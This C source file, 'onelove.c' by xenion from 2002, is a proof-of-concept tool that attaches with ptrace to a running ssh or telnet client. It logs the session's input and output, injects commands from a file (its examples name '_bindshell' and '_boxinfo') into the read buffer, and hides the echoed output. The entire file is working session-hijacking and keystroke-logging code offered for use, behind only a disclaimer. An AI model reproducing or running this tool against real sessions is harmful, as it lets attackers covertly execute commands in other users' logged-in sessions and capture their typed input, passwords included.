/* 
* 
* $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $ 
* 
* --------------------------------------------------------------------------- 
* No part of this project may be used to break the law, or to cause damage of 
* any kind. And I'm not responsible for anything you do with it. 
* --------------------------------------------------------------------------- 
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42): 
* <xenion@acidlife.com> wrote this file. As long as you retain this notice 
* you can do whatever you want with this stuff. If we meet some day, and you 
* think this stuff is worth it, you can buy me a beer in return. 
* xenion ~ Dallachiesa Michele 
* --------------------------------------------------------------------------- 
* 
* This is proof of concept code demostrating how we can inject commands 
* on a ptraced telnet/ssh session. 
* 
* --------------------------------------------------------------------------- 
* 
* 
* EXAMPLES 
* 
* ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e 
* 
* attach pid 2418, 
* enable ssh fd(s), 
* use _boxinfo for commands, 
* log to file, 
* log to stdout (without -l ignored), 
* enable echo hiding. 
* 
* ./onelove -p3953 -1 -c _bindshell -e 
* 
* attach pid 3953, 
* enable telnet fd(s), 
* use _bindshell for commands, 
* enable echo hiding. 
* 
* 
* LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES: 
* 
* ssh : 16384 
* telnet: 8192 
* BitchX: 2048 
* 
* 
* GREETZ 
* 
* Dark-Angel, my friends.. you know who you are. 
* 
*/ 


#include <stdlib.h> 
#include <string.h> 
#include <stdarg.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <sys/ptrace.h> 
#include <sys/types.h> 
#include <sys/wait.h> 
#include <linux/user.h> 
#include <signal.h> 
#include <asm/unistd.h> 
#include <dirent.h> 
#include <errno.h> 
#include <limits.h> 
#include <time.h> 
#include <sys/stat.h> 


#define WORD_SIZE 4 
#define BUFLEN 4096 
#define CMDLEN 4096 
#define VERSION "0.4" 

/* 
* PTRACE states 
*/ 
#define PTRACE_NOT_ATTACHED 0 /* not yet attached */ 
#define PTRACE_STOP1 1 /* first stop */ 
#define PTRACE_STOP2 2 /* second stop */ 
#define PTRACE_DONE 3 /* we've finished our work */ 

/* 
* INJECT states 
*/ 
#define INJECT_NOTH 0 /* nothing to do, just do nothing */ 
#define INJECT_TODO 1 /* we've to inject our commands */ 
#define INJECT_HIDE 2 /* now we've to hide the output */ 

/* 
* ssh/telnet fd(s) 
*/ 
#define READ_FD_SSH 4 
#define WRITE_FD_SSH 5 
#define READ_FD_TELNET 0 
#define WRITE_FD_TELNET 1 

#define LOG(arg...) { \ 
fprintf(o.log, "## "); \ 
fprintf(o.log, ## arg); \ 
fflush(o.log); \ 
if(o.stdout) { \ 
fprintf(stdout, "## "); \ 
fprintf(stdout, ## arg); \ 
fflush(stdout); \ 
} \ 
} 

#define LOG_WRITE(arg...) { \ 
fwrite(## arg, o.log); \ 
fflush(o.log); \ 
if(o.stdout) { \ 
fwrite(## arg, stdout); \ 
fflush(stdout); \ 
} \ 
} 


// 'x' viene approssimato per eccesso ad un multiplo di 'y' 
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x) 

// 'x' viene approssimato per difetto ad un multiplo di 'y' 
#define LEN_OK(x, y) (##x-(##x % ##y)) 

#define IS_SYSCALL_AND_FD(x) \ 
(data.orig_eax == __NR_##x && data.ebx == o.fd_##x) 

#define SIG_NAME(x) x == SIGURG ? "SIGURG" : \ 
x == SIGPIPE ? "SIGPIPE" : \ 
x == SIGQUIT ? "SIGQUIT" : \ 
x == SIGINT ? "SIGINT" : \ 
x == SIGTERM ? "SIGTERM" : \ 
x == SIGHUP ? "SIGHUP" : \ 
x == SIGSEGV ? "SIGSEGV" : \ 
x == SIGBUS ? "SIGBUS" : "UNKNOWN" 

#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \ 
(o.fd_write == WRITE_FD_SSH ? \ 
"(ssh)" : "") : \ 
o.fd_read == READ_FD_TELNET ? \ 
(o.fd_write == WRITE_FD_TELNET ? \ 
"(telnet)" : "") : "" 


void fatal(char *, ...); 
void init_opt(int, char **); 
void help(); 
void sigdie(int); 
int memread(pid_t, unsigned char *, unsigned char *, long, 
long); 
int memwrite(pid_t, unsigned char *, unsigned char *, long, 
long); 
int dataonstdin(); 
unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t); 


typedef struct { 
pid_t pid; 
int status, 
mode, 
inject, 
echo, 
cmdlen, 
fd_read, 
fd_write, 
stdout; 
unsigned char cmd[CMDLEN]; 
FILE *log; 
} OPT; 


OPT o; 


int 
main(int argc, char **argv) 
{ 
struct user_regs_struct data; 
unsigned char buf[BUFLEN]; 
int z; 
long edx_write_backup; 

o.mode = PTRACE_NOT_ATTACHED; 

init_opt(argc, argv); 

LOG("pid : %d\n", getpid()); 
LOG("ptraced pid : %d\n", o.pid); 
LOG("echo : %s\n", o.echo ? "YES" : "NO"); 
LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write, 
FD_SSH_OR_TELNET); 
LOG("\n"); 

signal(SIGTERM, sigdie); 
signal(SIGINT, sigdie); 
signal(SIGQUIT, sigdie); 
signal(SIGHUP, sigdie); 
signal(SIGSEGV, sigdie); 
signal(SIGURG, SIG_IGN); 

if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0) 
fatal("ptrace(PTRACE_ATTACH, ...) failed"); 

LOG("Attached! Now I'll display the session I/O. When you're\n"); 
LOG("sure the user can run commands, press ENTER and wait.\n"); 
LOG("\n"); 

o.mode = PTRACE_STOP1; 
o.inject = INJECT_NOTH; 

wait(NULL); 

while (o.mode != PTRACE_DONE) { 

if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0) 
fatal("ptrace(PTRACE_SYSCALL ...) failed"); 

wait(&o.status); 

if (WSTOPSIG(o.status) != SIGTRAP) { 
LOG("Sending signal %d\n", WSTOPSIG(o.status)); 
ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status)); 
} 

if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0) 
fatal("ptrace(PTRACE_GETREGS ...) failed"); 

switch (o.mode) { 

case PTRACE_STOP1: 

if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { 
z = memread(o.pid, buf, (unsigned char *) data.ecx, 
data.edx, sizeof buf); 

edx_write_backup = data.edx; 
data.edx = 0; 

if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) 
fatal("ptrace(PTRACE_SETREGS ...) failed"); 

if (z < 0) { 
LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup); 
} else 
LOG_WRITE(buf, 1, data.edx); 
} 

o.mode = PTRACE_STOP2; 
break; 

case PTRACE_STOP2: 

if (dataonstdin()) { 
read(0, buf, sizeof buf); 

if (*buf == 'q') 
fatal("Aborted"); 

if (o.inject == INJECT_NOTH) { 
o.inject = INJECT_TODO; 
LOG("\n"); 
LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n"); 
LOG("where I'll inject the commands..\n"); 
LOG("\n"); 
} 

if (o.inject == INJECT_HIDE) { 
LOG("Done, exiting..\n"); 
o.inject = INJECT_NOTH; 
o.mode = PTRACE_DONE; 
LOG("\n"); 
LOG("Done.\n"); 
break; 
} 
} 

if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { 
/* 
* restoring the count of bytes to send 
*/ 
data.eax = edx_write_backup; 
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) 
fatal("ptrace(PTRACE_SETREGS ...) failed"); 
} 

if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) { 
z = memread(o.pid, buf, (unsigned char *) data.ecx, 
data.eax, sizeof buf); 

if (z < 0) { 
LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax); 
o.mode = PTRACE_STOP1; 
break; 
} 

LOG_WRITE(buf, 1, data.eax); 

if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) { 

if (buf[data.eax - 1] == '\r' 
|| buf[data.eax - 1] == '\n') { 

LOG("Injecting commands\n"); 

z = memwrite(o.pid, 
(unsigned char *) (data.ecx + 
data.eax), o.cmd, 
o.cmdlen, sizeof o.cmd); 
if (z < 0) 
fatal("memwrite( ...) failed"); 

data.eax += o.cmdlen; 

if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) 
fatal("ptrace(PTRACE_SETREGS ...) failed"); 

if (!o.echo) { 
LOG("Done.\n"); 
o.mode = PTRACE_DONE; 
break; 
} else { 
o.inject = INJECT_HIDE; 
LOG("Done.\n"); 
LOG("I'll hide all write(2)s untill you press ENTER\n"); 
LOG("\n"); 

} 
} 
} 
} 

o.mode = PTRACE_STOP1; 
break; 

default: 
fatal("Oops"); 
break; 
} 
} 

LOG("Detaching process\n"); 
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) { 
LOG("ptrace(PTRACE_DETACH ...) failed\n"); 
} else 
LOG("Ok, you're safe this time ;)\n\n"); 
return 0; 
} 


void 
init_opt(int argc, char **argv) 
{ 
int c; 
FILE *f; 

o.echo = 0; 
o.pid = 0; 
o.fd_read = o.fd_write = -1; 
o.cmdlen = -1; 
o.log = stdout; 
o.stdout = 0; 

while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF) 
switch (c) { 

case 'p': 
o.pid = atoi(optarg); 
break; 

case 'r': 
o.fd_read = atoi(optarg); 
break; 

case 'w': 
o.fd_write = atoi(optarg); 
break; 

case '0': 
o.fd_read = READ_FD_SSH; 
o.fd_write = WRITE_FD_SSH; 
break; 

case '1': 
o.fd_read = READ_FD_TELNET; 
o.fd_write = WRITE_FD_TELNET; 
break; 

case 'l': 
o.log = fopen(optarg, "a+"); 
if (o.log == NULL) 
fatal("unable to open log file"); 
break; 

case '+': 
o.stdout = 1; 
break; 

case 'c': 
f = fopen(optarg, "r"); 
if (f == NULL) 
fatal("unable to open cmd file"); 
o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f); 
if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0) 
fatal("cmdfile broken"); 
fclose(f); 
break; 

case 'e': 
o.echo = 1; 
break; 

case 'h': 
help(); 
break; 

default: 
fatal("try -h"); 
} 

if (o.pid == 0) 
fatal("pid needed"); 

if (o.fd_read == -1 || o.fd_write == -1) 
fatal("r/w fd(s) needed"); 

switch (o.cmdlen) { 
case -1: 
fatal("cmd file needed"); 
case 0: 
fatal("cmd file broken"); 
} 

if (o.log == stdout) 
o.stdout = 0; 

} 


void 
fatal(char *pattern, ...) 
{ 
va_list ap; 

va_start(ap, pattern); 
fprintf(o.log, "** "); 
vfprintf(o.log, pattern, ap); 
fprintf(o.log, "; exit forced.\n"); 
va_end(ap); 

if (o.pid == 0) { 
fclose(o.log); 
exit(1); 
} 

sigdie(SIGTERM); 
} 



void 
help() 
{ 
printf 
("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n", 
VERSION); 
printf("USAGE: onelove [options]\n\n"); 
printf("-p pid (ssh|telnet) pid\n"); 
printf 
("-0 default fd(s) for ssh (r:%d,w:%d)\n", 
READ_FD_SSH, WRITE_FD_SSH); 
printf 
("-1 default fd(s) for telnet (r:%d,w:%d)\n", 
READ_FD_TELNET, WRITE_FD_TELNET); 
printf("-r fd read(2) fd\n"); 
printf("-w fd write(2) fd\n"); 
printf("-c file cmdfile\n"); 
printf("-l file logfile\n"); 
printf 
("-+ log to stdout (without -l ignored)\n"); 
printf("-e enable echo hiding\n\n"); 

exit(0); 
} 


void 
sigdie(int signo) 
{ 
int pid; 

LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo); 

if (o.mode != PTRACE_NOT_ATTACHED) { 

switch (pid = fork()) { 

case -1: 
fatal("fork()"); 
break; 

case 0: /* child process starts */ 
LOG("Sending a SIGCONT signal to the ptraced process\n"); 
if (kill(o.pid, SIGCONT) < 0) { 
o.pid = 0; 
fatal("kill()"); 
} 
break; 

default: /* parent process starts */ 
wait(&o.status); 
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) 
LOG("ptrace(PTRACE_DETACH ...) failed\n"); 
LOG("exited: %s\n", strerror(errno)); 
break; 

} 

} 

fclose(o.log); 
exit(0); 
} 


int 
memread(pid_t pid, unsigned char *dest, unsigned char *src, long count, 
long len) 
{ 
long off; 
long res; 

if (count < 0 || len < 0) 
return (-1); 

count = COUNT_OK(count, WORD_SIZE); 
len = LEN_OK(len, WORD_SIZE); 

if (len < count) 
return -1; 

for (off = 0; off < count; off += WORD_SIZE) { 
res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0); 
if (errno > 0) 
return -1; 
else 
memcpy(dest + off, &res, WORD_SIZE); 
} 

return count; 
} 


int 
memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count, 
long len) 
{ 
long off; 
long res; 

if (count < 0 || len < 0) 
return (-1); 

count = COUNT_OK(count, WORD_SIZE); 
len = LEN_OK(len, WORD_SIZE); 

if (len < count) 
return -1; 

for (off = 0; off < count; off += WORD_SIZE) { 
memcpy(&res, src + off, WORD_SIZE); 
if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0) 
return -1; 
} 

return count; 
} 


int 
dataonstdin() 
{ 
fd_set rfds; 
struct timeval tv; 
int retval; 

FD_ZERO(&rfds); 
FD_SET(0, &rfds); 
tv.tv_sec = tv.tv_usec = 0; 

retval = select(1, &rfds, NULL, NULL, &tv); 

if (retval) 
return 1; 
else 
return 0; 
} 

unsigned char * 
memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1) 
{ 
size_t i, 
j; 
int found; 

if (len1 > len0) 
return NULL; 

for (i = 0; i < len0; ++i) { 
if (buf0[i] == buf1[0]) { 
found = 1; 
for (j = 1; j + i < len0 && j < len1; ++j) 
if (buf0[i + j] != buf1[j]) 
found = 0; 
if (found) 
return &buf0[i]; 
} 
} 

return (NULL); 
} 

/* 
* EOF 
*/ 

